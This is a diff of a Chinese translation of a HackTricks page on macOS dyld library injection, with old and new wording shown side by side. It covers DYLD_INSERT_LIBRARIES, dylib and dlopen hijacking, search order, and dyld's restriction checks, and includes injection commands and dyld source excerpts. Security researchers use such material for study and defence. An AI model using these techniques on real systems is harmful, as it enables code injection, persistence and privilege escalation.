查看 Dyld 如何在二进制文件中加载库:
{% content-ref url="macos-dyld-process.md" %} {% content-ref url="macos-dyld-process.md" %}
[macos-dyld-process.md](macos-dyld-process.md) [macos-dyld-process.md](macos-dyld-process.md)
@ -28,99 +29,100 @@
## **DYLD\_INSERT\_LIBRARIES** ## **DYLD\_INSERT\_LIBRARIES**
这类似于[**Linux上的LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)。它允许指示一个进程将从路径加载特定库(如果启用了环境变量)。 这类似于 [**Linux 上的 LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)。它允许指示即将运行的进程从路径加载特定库(如果环境变量已启用)。
这种技术也可以**用作ASEP技术**,因为每个安装的应用程序都有一个名为"Info.plist"的属性列表,允许使用名为`LSEnvironmental`的键**分配环境变量** 此技术也可以作为 **ASEP 技术** 使用,因为每个安装的应用程序都有一个名为 "Info.plist" 的 plist允许使用名为 `LSEnvironmental` 的键 **分配环境变量**
{% hint style="info" %} {% hint style="info" %}
2012年以来**苹果大大减少了** **`DYLD_INSERT_LIBRARIES`** 的权限 2012 年以来,**Apple 大幅减少了** **`DYLD_INSERT_LIBRARIES`** 的功能
转到代码并**检查`src/dyld.cpp`**。在函数**`pruneEnvironmentVariables`**中,您可以看到**删除了`DYLD_*`**变量 查看代码并 **检查 `src/dyld.cpp`**。在函数 **`pruneEnvironmentVariables`** 中,您可以看到 **`DYLD_*`** 变量被移除
在函数**`processRestricted`**中设置了限制的原因。检查该代码,您会看到限制的原因是 在函数 **`processRestricted`** 中设置了限制的原因。检查该代码,您可以看到原因包括
- 二进制文件是`setuid/setgid` * 二进制文件是 `setuid/setgid`
- 在macho二进制文件中存在`__RESTRICT/__restrict`部分。 * macho 二进制文件中存在 `__RESTRICT/__restrict` 部分。
- 软件具有没有[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)授权的强化运行时 * 软件具有权限(强化运行时),但没有 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) 权限。
- 使用以下命令检查二进制文件的**授权**`codesign -dv --entitlements :- </path/to/bin>` * 使用以下命令检查二进制文件的 **权限**`codesign -dv --entitlements :- </path/to/bin>`
在更新的版本中,您可以在函数**`configureProcessRestrictions`**的第二部分找到此逻辑。但是,在较新版本中执行的是函数的**开始检查**您可以删除与iOS或模拟相关的if因为这些在macOS中不会使用)。 在更新版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到此逻辑。然而,在较新版本中执行的是该函数的 **开始检查**(您可以删除与 iOS 或模拟相关的 if因为这些在 macOS 中不会使用)。
{% endhint %} {% endhint %}
### 库验证 ### 库验证
即使二进制文件允许使用**`DYLD_INSERT_LIBRARIES`**环境变量,如果二进制文件检查要加载的库的签名,它将不会加载自定义内容 即使二进制文件允许使用 **`DYLD_INSERT_LIBRARIES`** 环境变量,如果二进制文件检查要加载的库的签名,它也不会加载自定义库
为了加载自定义库,二进制文件需要具有以下授权之一 为了加载自定义库,二进制文件需要具有 **以下任一权限**
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation) * [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation) * [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
或者二进制文件**不应**具有**强化运行时标志**或**库验证标志**。 或者二进制文件 **不应** 具有 **强化运行时标志** **库验证标志**
您可以使用`codesign --display --verbose <bin>`检查二进制文件是否具有**强化运行时**,检查**`CodeDirectory`**中的标志运行时,例如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`** 您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有 **强化运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
如果**使用与二进制文件相同的证书签名**,也可以加载库。 如果**使用与二进制文件相同的证书签名**也可以加载库。
找到一个关于如何(滥用)利用此功能并检查限制的示例 找到一个示例,了解如何(滥用)此功能并检查限制
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %} {% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md) [macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %} {% endcontent-ref %}
## Dylib劫持 ## Dylib 劫持
{% hint style="danger" %} {% hint style="danger" %}
请记住**以前的库验证限制也适用**于执行Dylib劫持攻击。 请记住**先前的库验证限制也适用于** 执行 Dylib 劫持攻击。
{% endhint %} {% endhint %}
Windows一样在MacOS中您也可以**劫持dylibs**以使**应用程序**执行**任意** **代码**实际上从普通用户这样做可能不可能因为您可能需要TCC权限才能写入`.app`包并劫持库)。\ Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,从普通用户的角度来看,这可能不可行,因为您可能需要 TCC 权限才能写入 `.app` 包并劫持库)。\
然而,**MacOS**应用程序**加载**库的方式**比Windows更受限制**。这意味着**恶意软件**开发人员仍然可以使用此技术进行**隐蔽**,但是**滥用此技术以提升权限的可能性要低得多**。 然而,**MacOS** 应用程序 **加载** 库的方式 **比 Windows 更受限制**。这意味着 **恶意软件** 开发人员仍然可以使用此技术进行 **隐蔽**,但能够 **滥用此技术以提升权限的可能性要低得多**
首先,**更常见**的是发现**MacOS二进制文件指示库的完整路径**。其次,**MacOS从不在** **$PATH** **文件夹中搜索**库。 首先,**更常见** 的情况是 **MacOS 二进制文件指示要加载的库的完整路径**。其次,**MacOS 从不在** **$PATH** 的文件夹中搜索库。
与此功能相关的**主要**代码部分位于`ImageLoader.cpp`中的**`ImageLoader::recursiveLoadLibraries`**中 与此功能相关的 **主要** 代码部分在 **`ImageLoader::recursiveLoadLibraries`** 中,位于 `ImageLoader.cpp`
Macho二进制文件可以使用**4个不同的头部命令**来加载库: macho 二进制文件可以使用 **4 种不同的头命令** 来加载库:
- **`LC_LOAD_DYLIB`**命令是加载dylib的常见命令。 * **`LC_LOAD_DYLIB`** 命令是加载 dylib 的常用命令。
- **`LC_LOAD_WEAK_DYLIB`**命令与前一个命令类似但如果未找到dylib则继续执行而不会出现任何错误。 * **`LC_LOAD_WEAK_DYLIB`** 命令的工作方式与前一个相同,但如果未找到 dylib执行将继续而不会出现错误。
- **`LC_REEXPORT_DYLIB`**命令代理(或重新导出)来自不同库的符号。 * **`LC_REEXPORT_DYLIB`** 命令代理(或重新导出)来自不同库的符号。
- **`LC_LOAD_UPWARD_DYLIB`**命令在两个库彼此依赖时使用这称为_向上依赖_)。 * **`LC_LOAD_UPWARD_DYLIB`** 命令在两个库相互依赖时使用(这称为 _向上依赖_)。
然而,有**2种dylib劫持** 然而,有 **2 类型的 dylib 劫持**
- **缺失的弱链接库**:这意味着应用程序将尝试加载一个使用**LC\_LOAD\_WEAK\_DYLIB**配置的不存在的库。然后,**如果攻击者将dylib放在预期的位置它将被加载**。 * **缺失的弱链接库**:这意味着应用程序将尝试加载一个不存在的库,配置为 **LC\_LOAD\_WEAK\_DYLIB**。然后,**如果攻击者在预期加载的位置放置了一个 dylib**。
- 链接是“弱”的意思是即使未找到库,应用程序也将继续运行。 * 链接是“弱”的事实意味着即使未找到库,应用程序仍将继续运行。
- 与此相关的**代码**位于`ImageLoaderMachO.cpp`的`ImageLoaderMachO::doGetDependentLibraries`函数中,其中`lib->required`仅在`LC_LOAD_WEAK_DYLIB`为true时为`false`。 * 与此相关的 **代码**`ImageLoaderMachO::doGetDependentLibraries` 函数中,`lib->required` 仅在 `LC_LOAD_WEAK_DYLIB` 为 true 时为 `false`
- 在二进制文件中查找**弱链接库**(稍后您将看到如何创建劫持库的示例): * **在二进制文件中查找弱链接库**(稍后您将看到如何创建劫持库的示例):
```bash * ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56 cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24) name /var/tmp/lib/libUtl.1.dylib (offset 24)
time stamp 2 Wed Jun 21 12:23:31 1969 time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0 current version 1.0.0
compatibility version 1.0.0 compatibility version 1.0.0
``` ```
- **配置为@rpath**Mach-O二进制文件可以具有**`LC_RPATH`**和**`LC_LOAD_DYLIB`**命令。根据这些命令的**值**,库将从**不同目录**加载。 * **配置为 @rpath**Mach-O 二进制文件可以具有 **`LC_RPATH`** 和 **`LC_LOAD_DYLIB`** 命令。根据这些命令的 **值****库** 将从 **不同目录** 加载。
* **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,它将被 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,则每个路径都将用于搜索要加载的库。例如: * **`LC_RPATH`** 包含用于通过二进制文件加载库的一些文件夹的路径。
* 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/`。那么这两个文件夹都将用于加载 `library.dylib`。如果库在 `[...]/v1/` 中不存在,攻击者可以将其放在那里以劫持在 `[...]/v2/` 中的库加载,因为会按照 **`LC_LOAD_DYLIB`** 中路径的顺序进行加载。 * **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将由 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用所有路径来搜索要加载的库。例如:
* 使用以下命令在二进制文件中 **查找 rpath 路径和库**`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` * 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为遵循 **`LC_LOAD_DYLIB`** 中路径的顺序。
* **在二进制文件中查找 rpath 路径和库**`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %} {% hint style="info" %}
**`@executable_path`**:是包含 **主可执行文件****目录路径**。 **`@executable_path`**:是包含 **主可执行文件****目录** 的 **路径**。
**`@loader_path`**:是包含包含加载命令的 **Mach-O 二进制文件****目录路径**。 **`@loader_path`**:是包含 **Mach-O 二进制文件****目录** 的 **路径**,该文件包含加载命令
* 当在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** **相同** * 当在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** 相同。
* 当在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib****路径** * 当在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib****路径**
{% endhint %} {% endhint %}
利用这种功能进行 **权限提升** 的方式是在罕见情况下,由 **root** 执行的 **应用程序** 正在 **查找** 一些 **库**,而攻击者具有写权限的某个文件夹中存在该库 滥用此功能以 **提升权限** 的方式是在 **应用程序****root** 执行时,**查找** 在攻击者具有写权限的某个文件夹中的 **库** 的罕见情况
{% hint style="success" %} {% hint style="success" %}
一个很好的 **扫描工具**,用于查找应用程序中的 **缺失库** 是 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。 一个很好的 **扫描器** 用于查找应用程序中的 **缺失库** 是 [**Dylib 劫持扫描器**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。\
关于这种技术的一个带有技术细节的不错的 **报告** 可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。 关于此技术的详细技术报告可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。
{% endhint %} {% endhint %}
**示例** **示例**
@ -132,12 +134,12 @@ Macho二进制文件可以使用**4个不同的头部命令**来加载库:
## Dlopen 劫持 ## Dlopen 劫持
{% hint style="danger" %} {% hint style="danger" %}
请记住,执行 Dlopen 劫持攻击时也适用 **先前的库验证限制** 请记住,**先前的库验证限制也适用于** 执行 Dlopen 劫持攻击。
{% endhint %} {% endhint %}
来自 **`man dlopen`** 来自 **`man dlopen`**
* 当路径 **不包含斜杠字符**(即只是一个叶名称)时,**dlopen() 将进行搜索**。如果在启动时设置了 **`$DYLD_LIBRARY_PATH`**dyld 将首先在该目录中查找。接下来,如果调用的 mach-o 文件或主可执行文件指定**`LC_RPATH`**,那么 dyld 将在这些目录中查找。接下来,如果进程是 **不受限制的**dyld 将在 **当前工作目录** 中搜索。最后,对于旧的二进制文件dyld 将尝试一些回退。如果在启动时设置了 **`$DYLD_FALLBACK_LIBRARY_PATH`**dyld 将在 **这些目录中搜索**否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息**`man dlopen`**)。 * 当路径 **不包含斜杠字符**(即只是一个叶名称)时,**dlopen() 将进行搜索**。如果 **`$DYLD_LIBRARY_PATH`** 在启动时设置dyld 将首先 **在该目录中查找**。接下来,如果调用的 mach-o 文件或主可执行文件指定 **`LC_RPATH`**,则 dyld 将 **在这些** 目录中查找。接下来,如果进程是 **不受限制的**dyld 将在 **当前工作目录** 中搜索。最后,对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置dyld 将在 **这些目录** 中搜索否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息**`man dlopen`**)。
1. `$DYLD_LIBRARY_PATH` 1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH` 2. `LC_RPATH`
3. `CWD`(如果不受限制) 3. `CWD`(如果不受限制)
@ -146,46 +148,46 @@ Macho二进制文件可以使用**4个不同的头部命令**来加载库:
6. `/usr/lib/` 6. `/usr/lib/`
{% hint style="danger" %} {% hint style="danger" %}
如果名称中没有斜杠,有两种方法可以进行劫持: 如果名称中没有斜杠,则有 2 种方式进行劫持:
* 如果任何 **`LC_RPATH`** 是 **可写的**(但会检查签名,因此您还需要二进制文件不受限制 * 如果任何 **`LC_RPATH`** 是 **可写的**(但签名检查,因此为此您还需要二进制文件不受限制)
* 如果二进制文件是 **不受限制的**那么可以从 CWD 中加载内容(或滥用其中提到的环境变量之一) * 如果二进制文件是 **不受限制的**然后可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
{% endhint %} {% endhint %}
* 当路径 **看起来像一个框架** 路径(例如 `/stuff/foo.framework/foo`),如果在启动时设置了 **`$DYLD_FRAMEWORK_PATH`**dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`。接下来dyld 将尝试使用 **提供的路径**对于相对路径使用当前工作目录。最后对于旧的二进制文件dyld 将尝试一些回退。如果在启动时设置了 **`$DYLD_FALLBACK_FRAMEWORK_PATH`**dyld 将搜索这些目录。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程是不受限制的),然后在 **`/System/Library/Frameworks`** 中搜索 * 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`。接下来dyld 将尝试 **按原样使用提供的路径**使用当前工作目录进行相对路径。最后对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后是 **`/System/Library/Frameworks`**
1. `$DYLD_FRAMEWORK_PATH` 1. `$DYLD_FRAMEWORK_PATH`
2. 提供的路径(对于相对路径,如果不受限制,使用当前工作目录) 2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径
3. `$DYLD_FALLBACK_FRAMEWORK_PATH` 3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks`(如果不受限制) 4. `/Library/Frameworks`(如果不受限制)
5. `/System/Library/Frameworks` 5. `/System/Library/Frameworks`
{% hint style="danger" %} {% hint style="danger" %}
如果是框架路径,劫持的方式是: 如果是框架路径,劫持的方式是:
* 如果进程是 **不受限制的**可以滥用从 CWD 开始的 **相对路径** 和提到的环境变量(即使在文档中没有提到进程是否受限制DYLD\_\* 环境变量会被移除) * 如果进程是 **不受限制的**滥用 **来自 CWD 的相对路径** 和提到的环境变量(即使文档中没有说明,如果进程受限DYLD\_\* 环境变量会被移除)
{% endhint %} {% endhint %}
* 当路径 **包含斜杠但不是框架路径**(即完整路径或指向 dylib 的部分路径dlopen() 首先在(如果设置了) **`$DYLD_LIBRARY_PATH`** 中查找使用路径的叶子部分。接下来dyld 将尝试使用 **提供的路径**对于相对路径仅对于不受限制的进程使用当前工作目录。最后对于旧的二进制文件dyld 将尝试一些回退。如果在启动时设置了 **`$DYLD_FALLBACK_LIBRARY_PATH`**dyld 将在这些目录中搜索否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。 * 当路径 **包含斜杠但不是框架路径**(即到 dylib 的完整路径或部分路径dlopen() 首先在(如果设置) **`$DYLD_LIBRARY_PATH`** 中查找使用路径的叶部分。接下来dyld **尝试提供的路径**使用当前工作目录进行相对路径但仅适用于不受限制的进程。最后对于旧二进制文件dyld 将尝试后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置dyld 将在这些目录中搜索否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
1. `$DYLD_LIBRARY_PATH` 1. `$DYLD_LIBRARY_PATH`
2. 提供的路径(对于相对路径,如果不受限制,使用当前工作目录) 2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径
3. `$DYLD_FALLBACK_LIBRARY_PATH` 3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/`(如果不受限制) 4. `/usr/local/lib/`(如果不受限制)
5. `/usr/lib/` 5. `/usr/lib/`
{% hint style="danger" %} {% hint style="danger" %}
如果名称中有斜杠而不是框架,劫持的方式是: 如果名称中有斜杠且不是框架,则劫持的方式将是:
* 如果二进制文件是 **不受限制的**那么可以从 CWD 或 `/usr/local/lib` 中加载内容(或滥用其中提到的环境变量之一) * 如果二进制文件是 **不受限制的**然后可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
{% endhint %} {% endhint %}
{% hint style="info" %} {% hint style="info" %}
注意:没有配置文件来 **控制 dlopen 搜索** 注意:没有配置文件来 **控制 dlopen 搜索**
注意:如果主可执行文件是 **set\[ug]id 二进制文件或使用授权签名**,则会 **忽略所有环境变量**,只能使用完整路径([查看 DYLD\_INSERT\_LIBRARIES 限制](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) 获取更详细信息) 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都将被忽略**,只能使用完整路径([检查 DYLD\_INSERT\_LIBRARIES 限制](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions)以获取更详细的信息)。
注意Apple 平台使用 "universal" 文件来组合 32 位和 64 位库。这意味着没有 **单独的 32 位和 64 位搜索路径** 注意Apple 平台使用“通用”文件来组合 32 位和 64 位库。这意味着没有 **单独的 32 位和 64 位搜索路径**
注意:在 Apple 平台上,大多数 OS dylibs 都 **合并到 dyld 缓存** 中,不存在于磁盘上。因此,调用 **`stat()`** 来预先检查 OS dylib 是否存在 **不起作用**。但是**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上不存在。因此,调用 **`stat()`** 以预检操作系统 dylib 是否存在 **将不起作用**。然而**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
{% endhint %} {% endhint %}
**检查路径** **检查路径**
@ -233,27 +235,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0; return 0;
} }
``` ```
如果您编译并执行它,您可以看到**每个库未成功搜索的位置**。此外,您可以**过滤FS日志** 如果你编译并执行它,你可以看到**每个库被搜索但未成功找到的位置**。此外,你可以**过滤文件系统日志**
```bash ```bash
sudo fs_usage | grep "dlopentest" sudo fs_usage | grep "dlopentest"
``` ```
## 相对路径劫持 ## 相对路径劫持
如果一个**特权二进制应用程序**比如一个SUID或一些拥有强大权限的二进制文件正在**加载一个相对路径**库(例如使用`@executable_path`或`@loader_path`),并且**禁用了库验证**,那么可能会将二进制文件移动到攻击者可以**修改相对路径加载的库**的位置,并滥用它来向进程注入代码。 如果一个 **特权二进制文件/应用程序**(如 SUID 或某些具有强大权限的二进制文件)正在 **加载相对路径** 库(例如使用 `@executable_path``@loader_path`)并且 **禁用库验证**,攻击者可能会将二进制文件移动到一个位置,在那里攻击者可以 **修改相对路径加载的库**,并利用它在进程中注入代码。
## 修剪 `DYLD_*``LD_LIBRARY_PATH` 环境变量 ## 修剪 `DYLD_*``LD_LIBRARY_PATH` 环境变量
在文件 `dyld-dyld-832.7.1/src/dyld2.cpp` 中,可以找到函数**`pruneEnvironmentVariables`**,它将删除任何以`DYLD_`开头和`LD_LIBRARY_PATH=`的环境变量。 在文件 `dyld-dyld-832.7.1/src/dyld2.cpp` 中,可以找到函数 **`pruneEnvironmentVariables`**,该函数将删除任何 **以 `DYLD_` 开头****`LD_LIBRARY_PATH=`** 的环境变量。
它还会将**`DYLD_FALLBACK_FRAMEWORK_PATH`**和**`DYLD_FALLBACK_LIBRARY_PATH`**这两个环境变量对于**suid**和**sgid**二进制文件设置为**null** 它还将特定地将环境变量 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 和 **`DYLD_FALLBACK_LIBRARY_PATH`** 设置为 **null**,适用于 **suid****sgid** 二进制文件
如果针对OSX可以从同一文件的**`_main`**函数中调用此函数 如果目标是 OSX该函数会从同一文件的 **`_main`** 函数中调用,如下所示
```cpp ```cpp
#if TARGET_OS_OSX #if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) { if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple); pruneEnvironmentVariables(envp, &apple);
``` ```
并且这些布尔标志在代码中的同一文件中设置: 这些布尔标志在代码中的同一文件中设置:
```cpp ```cpp
#if TARGET_OS_OSX #if TARGET_OS_OSX
// support chrooting from old kernel // support chrooting from old kernel
@ -284,9 +286,9 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false; gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true; gLinkContext.allowInterposing = true;
``` ```
这基本上意味着,如果二进制文件是**suid**或**sgid**,或者在标头中有一个**RESTRICT**段,或者使用**CS\_RESTRICT**标志进行签名,那么**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**为真,环境变量将被修剪。 这基本上意味着,如果二进制文件是 **suid****sgid**,或者在头文件中有 **RESTRICT** 段,或者它是用 **CS\_RESTRICT** 标志签名的,那么 **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** 为真,环境变量将被修剪。
请注意如果CS\_REQUIRE\_LV为真则变量不会被修剪但库验证将检查它们是否使用与原始二进制文件相同的证书。 请注意,如果 CS\_REQUIRE\_LV 为真,则变量不会被修剪,但库验证将检查它们是否使用与原始二进制文件相同的证书。
## 检查限制 ## 检查限制
@ -301,12 +303,12 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid # Remove suid
sudo chmod -s hello sudo chmod -s hello
``` ```
### 区块 `__RESTRICT` 与段 `__restrict` ### Section `__RESTRICT` with segment `__restrict`
```bash ```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
``` ```
### 强化运行时 ### 加固运行时
在钥匙串中创建一个新证书,并使用它来签署二进制文件: 在钥匙串中创建一个新证书,并使用它来签署二进制文件:
@ -333,27 +335,31 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
请注意,即使有用标志**`0x0(none)`**签名的二进制文件,当执行时也可以动态地获得**`CS_RESTRICT`**标志,因此这种技术在其中不起作用 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获得 **`CS_RESTRICT`** 标志,因此此技术在它们上将无法工作
您可以使用以下命令检查进程是否具有此标志(获取[**csops here**](https://github.com/axelexic/CSOps): 您可以使用 (获取 [**csops 这里**](https://github.com/axelexic/CSOps)) 检查一个进程是否具有此标志:
```bash ```bash
csops -status <pid> csops -status <pid>
``` ```
## 参考资料 然后检查标志 0x800 是否启用。
{% endhint %}
## 参考文献
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/) * [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) * [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,69 +1,70 @@
# macOS Dyld 进程 # macOS Dyld 进程
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
